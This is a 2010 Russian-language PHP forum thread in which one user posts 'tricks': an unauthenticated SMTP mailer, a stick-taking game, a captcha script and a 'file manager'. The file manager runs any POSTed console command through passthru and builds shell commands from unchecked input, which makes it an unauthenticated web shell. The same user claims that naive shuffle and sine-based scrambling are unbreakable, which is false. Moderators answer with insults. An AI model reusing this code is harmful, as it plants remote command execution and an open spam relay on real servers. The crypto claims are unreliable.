За последние 24 часа нас посетили 18703 программиста и 1686 роботов. Сейчас ищут 837 программистов ...

Различные трюки на php

Тема в разделе "Прочее", создана пользователем goshalev, 4 окт 2010.

  1. goshalev

    goshalev Активный пользователь

    С нами с:
    4 окт 2010
    Сообщения:
    18
    Симпатии:
    0
    У кого какие есть примеры различных интересных кусков кода на языке php.Например обращение напрямую к TCP портам, SMTP,чтение через POP3 или еще что нибудь.Дабы не марать тему прошу выкладывать куски кода поменьше и по существу.Скажем мой сендмеил,который работает через GET Post include() весит всего менее 50 строчек,зато отправляет всё!

    goshala и goshalev -одночеловеческие клоны!
     
  2. Hight

    Hight Старожил
    Команда форума Модератор

    С нами с:
    5 мар 2006
    Сообщения:
    7.153
    Симпатии:
    0
    Адрес:
    из злой параллельной вселенной
    Придурок вернулся. Сука, заебёт.
     
  3. goshalev

    goshalev Активный пользователь

    С нами с:
    4 окт 2010
    Сообщения:
    18
    Симпатии:
    0
    Hight
    Да ладно чёго тебе,пока это всё все равно ни о чём
     
  4. goshalev

    goshalev Активный пользователь

    С нами с:
    4 окт 2010
    Сообщения:
    18
    Симпатии:
    0
    Кстати глицин помогает,воспаления органа программирования-должен сказать не очень приятно но вроде проходит
     
  5. Padaboo

    Padaboo Старожил
    Команда форума Модератор

    С нами с:
    26 окт 2009
    Сообщения:
    5.242
    Симпатии:
    1
    нео в ярости :)
     
  6. goshalev

    goshalev Активный пользователь

    С нами с:
    4 окт 2010
    Сообщения:
    18
    Симпатии:
    0
    Чтобы не быть голословным мааленький но сцуко работоющий сендмаил на php

    PHP:
    1. <?php
    2. header("Cache-control:no-cache");
    3. require_once("../settings/host.php");
    4. require_once("../settings/smtp.php");
    5. if(isset($_GET["to"]))$to=$_GET["to"];
    6. if(isset($_GET["subject"]))$subject=$_GET["subject"];
    7. if(isset($_GET["body"]))$body=$_GET["body"];
    8. if(isset($_POST["to"]))$to=$_POST["to"];
    9. if(isset($_POST["subject"]))$subject=$_POST["subject"];
    10. if(isset($_POST["body"]))$body=$_POST["body"];
    11. if((!isset($body))||(!isset($to))||(!isset($subject))){
    12. echo(0);
    13. };
    14. $m=fsockopen($smtp_server,25);
    15. fputs($m,"ehlo $hostname \r\n");
    16. fputs($m,"AUTH LOGIN \r\n");
    17. fputs($m,base64_encode($smtp_login)."\r\n");
    18. fputs($m,base64_encode($smtp_pass)."\r\n");
    19. fputs($m,"mail from:<".$smtp_email."> \r\n");
    20. fputs($m,"RCPT TO:<$to> \r\n");
    21. fputs($m,"DATA \r\n");
    22. fputs($m,"From: $smtp_username <$smtp_email> \r\n") ;
    23. fputs($m,"To:<$to> \r\n") ;
    24. fputs($m,"Subject: $subject \r\n\r\n");
    25. $body=str_replace("\r\n"."."."\r\n","\r\n",$body);
    26. fputs($m,"$body"."\r\n"."."."\r\n");
    27. fputs($m,"QUIT");
    28. $a="";
    29. while(!feof($m)){
    30. $a=$a.fgets($m,1000);};
    31. $b=0;
    32. if(strpos($a,"Data received OK.")>0)$b++;
    33. if(!isset($notecho))echo($b);
    34. ?>
     
  7. Ensiferum

    Ensiferum Активный пользователь

    С нами с:
    11 июл 2010
    Сообщения:
    1.292
    Симпатии:
    0
    Адрес:
    из секты поклонников Нео
    Несоответствие
     
  8. admyx

    admyx Активный пользователь

    С нами с:
    14 мар 2008
    Сообщения:
    2.159
    Симпатии:
    1
    Hight
    Хайт, ну не злись.
    Пусть у нас свой питомец будет.
     
  9. goshalev

    goshalev Активный пользователь

    С нами с:
    4 окт 2010
    Сообщения:
    18
    Симпатии:
    0
    Это соотвественно имя хоста и прочие настройки,файлы настроичные я туда почти ничего не клал,кроме имени хоста и прочего.Вообще проще htaccess нормально настроить,но тогда это не были бы уже трюки на php а стандартная функция mailЕсть еще пара непредсказуемых глупостей,благодаря которым наш народ непобедим
     
  10. goshalev

    goshalev Активный пользователь

    С нами с:
    4 окт 2010
    Сообщения:
    18
    Симпатии:
    0
    Насчёт задачи по шифрованию.Там значит от 0 до 255 берем массиф ,$a[$i]=$i.И от 0 до 255.Далее randomize($pass) и нечто такое

    for($i=0;$i,256;$i++){
    $b=$a[$i];
    $c=mt_rand(0,255);

    $a[$i]=$a[$c];
    $a[$c]=$b;
    }

    Это 256! возможных кодировок и ни один суперкомп такое не расшифрует!
     
  11. goshalev

    goshalev Активный пользователь

    С нами с:
    4 окт 2010
    Сообщения:
    18
    Симпатии:
    0
    Насчёт обратной функции md5.Берем первый символ строки,от него абсолютное значение синуса.Меняем местами 5 7 3 1 цифры синуса-это ппц какой рандом!Далее получаем новый символ random(256)*sin(xXx) и записываем на место старого.В общем тут можно такое наплодить,такой рандом,что математически такое не восстанавливается
     
  12. Ensiferum

    Ensiferum Активный пользователь

    С нами с:
    11 июл 2010
    Сообщения:
    1.292
    Симпатии:
    0
    Адрес:
    из секты поклонников Нео
    да md5 итак не восстанавливается. Только методом паяльника
     
  13. goshalev

    goshalev Активный пользователь

    С нами с:
    4 окт 2010
    Сообщения:
    18
    Симпатии:
    0
    http://vkontakte.ru/app1766791_270173 Предлагаются задачи на спички вконтакте

    http://vkontakte.ru/note270173_9702391

    Собственно прога считает какие спички ужно убрать,очень кстати я там таким макаром очков набрал,прикольно,просто мозгом тяжелее,все равно мозгом получается тупой перебор
     
  14. goshalev

    goshalev Активный пользователь

    С нами с:
    4 окт 2010
    Сообщения:
    18
    Симпатии:
    0
    PHP:
    1. <?php
    2. $r=time();
    3.  
    4. function random($to){
    5. global $r;
    6. $s=abs(sin($r))."";
    7. $r=$s[6].$s[4].$s[5];
    8. return round(($r/1000)*$to);
    9.  
    10.  
    11. };
    12.  
    13. $x=0;$y=0;$z=0;
    14. for($i=0;$i<10000;$i++){
    15. $a=random(2);
    16. if($a==0)$x++;
    17. if($a==1)$y++;
    18. if($a==2)$z++;
    19. };
    20. echo("x=".$x."y=".$y."z=".$z);
    21.  
    22. ?>
    Тот самый рандом через синус...получилось что 60 на 40 в общем точно не 50 на 50,хотя по идее странно как то
     
  15. goshalev

    goshalev Активный пользователь

    С нами с:
    4 окт 2010
    Сообщения:
    18
    Симпатии:
    0
    А кстати комп хорошо играет в палочки,с очень умным видом!

    <html>
    <head>
    <title></title>
    </head>
    <body link=lime alink=lime vlink=lime>
    <p align=center><font color=darkblue size=+1>Игра в палочки</font><br>
    <b>Описание:</b><br>
    На столе лежит 20 палочек.Ваш ход-первый.Сначала вы вытаскиваете
    от 1 до 3х палочек,потом компьютер.Так игра идёт по очереди.Кто вытаскивает последнюю палку-тот проигрывает.<hr>
    </p>
    <?php
    $fname=substr(__FILE__,strrpos(__FILE__,"/")+1);

    if(empty($_GET['level'])){
    echo("<p align=center>");
    echo("<a href=\"$fname?level=1\">Простой</a><br>");
    echo("<a href=\"$fname?level=2\">Средний</a><br>");
    echo("<a href=\"$fname?level=3\">Трудный</a><br>");
    echo("</p>");

    echo("</body></html>");
    exit;
    };

    $l=$_GET['level'];


    if(empty($_GET['total'])){
    $t=20;
    }else{
    $t=$_GET['total'];
    };

    if(!empty($_GET['move'])){
    $m=$_GET['move'];
    $t=$t-$m;

    $winc=false;
    $winu=false;

    if($t==0){
    $winc=true;
    };

    if($t==1){
    $winu=true;
    $mc=1;
    $t=0;

    };

    if(($t<5)&&($t>1)){
    $mc=$t-1;
    $t=1;
    };

    if($t==5){
    $t=4;
    $mc=1;
    };

    if(($t>5)&&($t<9)){
    $mc=$t-5;
    $t=5;
    };


    if($t==9){
    $t=8;
    $mc=1;
    };

    if(($t>9)&&($t<13)){
    $mc=$t-9;
    $t=9;
    };

    if($t==13){
    $t=12;
    $mc=1;
    };

    if(($t>13)&&($t<17)){
    if($l>1){
    $mc=$t-13;
    $t=13;
    }else{
    $mc=mt_rand(1,3);
    $t=$t-$mc;
    };


    };

    if($t==17){
    $mc=mt_rand(1,3);
    $t=$t-$mc;
    };

    if($t>17){
    if($l>2){
    $mc=$t-17;
    $t=17;
    }else{
    $mc=mt_rand(1,3);
    $t=$t-$mc;
    };


    };



    }else{
    $m="Вы еще не ходили";
    $mc="Ходит вторым";

    };
    echo("Палочек осталось:<b>$t</b><br>");
    echo("Ваш ход:<b>$m</b><br>");
    echo("Ход компьютера:<b>$mc</b><br>");

    if($t>=1)echo("<a href=\"$fname?level=$l&move=1&total=$t\">Один</a> ");
    if($t>=2)echo("<a href=\"$fname?level=$l&move=2&total=$t\">Два</a> ");
    if($t>=3)echo("<a href=\"$fname?level=$l&move=3&total=$t\">Три</a> ");
    if($t==0){
    if($winu)echo("<b>Поздравляем!Вы выиграли!</b><br><a href=game.php>Заново</a>");
    if($winc)echo("<b>Неповезло.Начните заново!</b><br><a href=game.php>Заново</a>");

    };

    ?>
    </body>
    </html>
     
  16. goshalev

    goshalev Активный пользователь

    С нами с:
    4 окт 2010
    Сообщения:
    18
    Симпатии:
    0
    айловый менеджер-прикольно позволяет менеджерить файлы!
    <?php
    header("cache-control:no-cache");
    if($_POST['act']=='downloadfile'){
    header("content-type:application/octet-stream") ;
    header("content-disposition: attachment; filename=\"".$_POST['file']."\"");
    passthru("cat ".$_POST['dir'].$_POST['file']);
    exit;
    };

    if($_POST['act']=='deletefile'){
    unlink($_POST['dir'].$_POST['file']);
    };

    if($_POST['act']=='ufile'){
    copy($_FILES['fname']['tmp_name'],$_POST['dir'].$_FILES['fname']['name']);

    }




    ?>

    <html>
    <head>
    <title>Файловый менеджер</title>
    </head>
    <body link=black alink=lime vlink=black>
    <font color=darkblue size=+1>Пример рабочего файлового менеджера</font>

    <form name=baseform action="<?php echo(substr(__FILE__,strrpos(__FILE__,'/')+1));?>" method=post enctype="multipart/form-data">
    <input type=hidden name=dir>
    <input type=hidden name=act>
    <input type=hidden name=file>
    <?php
    if(($_POST['act']=='setinfo')||(!empty($_POST['progdir']))||(!empty($_POST['site']))){
    $site=$_POST['site'];
    $pdir=$_POST['progdir'];

    }else{
    if((isset($site)&&(isset($pdir))))echo("<script>progdir.value='$pdir';site.value='$site';</script>");
    };



    ?>
    Адрес сайта(с приставкой http://www.):<input type=text name=site value="<?php echo($site);?>">Директория программы(например:"."):<input type=text name=progdir value="<?php echo($pdir);?>"><a href="javascript:baseform.submit();">Изменить данные</a>

    <table border=1 width=100%>
    <tr>
    <td width=20%>Элемент</td>
    <td width=40%>Имя</td>
    <td width=50%>Действие</td>
    </tr>
    <?php
    $thisdir='./';
    $olddir='./';
    if(!empty($_POST['dir'])){
    $thisdir=$_POST['dir'];
    $olddir=$thisdir;
    };

    $i=0;
    $dir=opendir($thisdir);
    while ($r=readdir($dir))
    {
    if($r!="."){
    if($i%2==1)$a="style=\"background-color:aqua;\"";
    echo("<tr $a>");
    echo("<td width=20%>");
    $a="Файл";
    $b='';
    if(filetype($olddir."/".$r)=="dir")$a="Папка";
    echo("$a</td>");
    echo("<td width=40%>");
    $a='';
    $b='';
    if(filetype($olddir."/".$r)=="dir"){
    $a="<a href=\"javascript:baseform.act.value='chdir';baseform.dir.value='$olddir"."$r/';baseform.submit();\">";
    $b="</a>";
    }else{
    if(isset($site)&&isset($pdir)){
    $a="<a href=$site/"."$pdir".$olddir."$r>";
    $b="</a>";
    };
    };

    echo($a.$r.$b."</td>");
    echo("<td>");
    if(filetype($olddir."/".$r)=="dir"){
    echo("<a href=\"javascript:baseform.act.value='chdir';baseform.dir.value='$olddir"."$r/';baseform.submit();\">Перейти</a>");
    }else{
    $ctext="Вы действительно хотите скачать файл $r?";
    echo("<a href=\"javascript:if(confirm('$ctext')){baseform.act.value='downloadfile';baseform.file.value='$r';baseform.dir.value='$olddir';baseform.submit();}\">Скачать файл</a> ");
    $ctext="Вы действительно хотите удалить файл $r?";
    echo("<a href=\"javascript:if(confirm('$ctext')){baseform.act.value='deletefile';baseform.file.value='$r';baseform.dir.value='$olddir';baseform.submit();}\">Стереть файл</a> ");
    };

    echo("</td></tr>");
    $i++;
    };
    }

    closedir($dir);
    ?>

    </table>
    Выбор файла:<input type=file name=fname><?php
    echo("<a href=\"javascript:baseform.act.value='ufile';baseform.dir.value='$olddir';baseform.submit();\">Загрузить файл</a><br> ");
    ?>
    Консольная строка:<input type=text name='cmd'>
    <?php
    echo("<a href=\"javascript:baseform.act.value='cmd';baseform.dir.value='$olddir';baseform.submit();\">Выполнить</a><br> ");
    if(!empty($_POST['cmd'])){
    echo("<font color=darkblue size=+1>Результат выполнения:</font><br>");
    nl2br(passthru("cd $olddir;".$_POST['cmd']));
    };

    ?>
    </form>

    </body>

    </html>
     
  17. goshalev

    goshalev Активный пользователь

    С нами с:
    4 окт 2010
    Сообщения:
    18
    Симпатии:
    0
    Угадай что???

    <?php
    header("Content-type: image/png");
    header("Cache-control:no-cache");
    $im=ImageCreate(150,60);
    $thisip=$_SERVER["REMOTE_ADDR"];
    $thistime=time();


    $deathtime=$thistime-3600;
    //mysql_query("delete from ipimage where ((time<'$deathtime'))");
    mt_srand($thistime+120012+mt_rand(-1000,1000));
    $thisstring=mt_rand(0,10000000000);
    //mysql_query("insert into ipimage (ip,value,time) values('$thisip','$thisstring','$thistime')");

    $blue=imagecolorallocate($im,0,0,255);
    $white=imagecolorallocate($im,255,255,255);
    ImageString($im,5,30,20,$thisstring,$white);
    ImagePng($im);
    ImageDestroy($im);
    ?>
     
  18. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    я хотел бы посмотреть на скрипт который выводит свой код, не читая себя как файл при этом =)
     
  19. [vs]

    [vs] Суперстар
    Команда форума Модератор

    С нами с:
    27 сен 2007
    Сообщения:
    10.559
    Симпатии:
    632
    igordata
    В конфиге апача
    Код (Text):
    1. AddType application/x-httpd-php-source .phps
    скрипт сохранить как .phps =)
     
  20. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    алгоритмически. =)
     
  21. Vladson

    Vladson Старожил

    С нами с:
    4 фев 2006
    Сообщения:
    4.040
    Симпатии:
    26
    Адрес:
    Estonia, Tallinn
    У меня был такой

    1 - не будет работать если сервак не держит SMTP Pipelining (надо не только отправлять на порт данные но и считывать ответ)
    2 - надо проверять входящие данные (или просто запаролить его) иначе им могут воспользоваться спамеры
     
  22. Ensiferum

    Ensiferum Активный пользователь

    С нами с:
    11 июл 2010
    Сообщения:
    1.292
    Симпатии:
    0
    Адрес:
    из секты поклонников Нео
    igordata
    кажется в заголовке передать надо text/plan
     
  23. Elkaz

    Elkaz Старожил
    Команда форума Модератор

    С нами с:
    26 июн 2006
    Сообщения:
    3.373
    Симпатии:
    0
    Адрес:
    Баку, Азербайджан
    Ensiferum
    text/plain, но
     
  24. [vs]

    [vs] Суперстар
    Команда форума Модератор

    С нами с:
    27 сен 2007
    Сообщения:
    10.559
    Симпатии:
    632
    Ensiferum
    Elkaz
    Отправлять заголовок из скрипта тут бесполезно, откуда в выводе взяться исходному коду?
     
  25. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    я кстати наткнулся на один вариант вывода своего кода без ковыряния в файлах и конфигах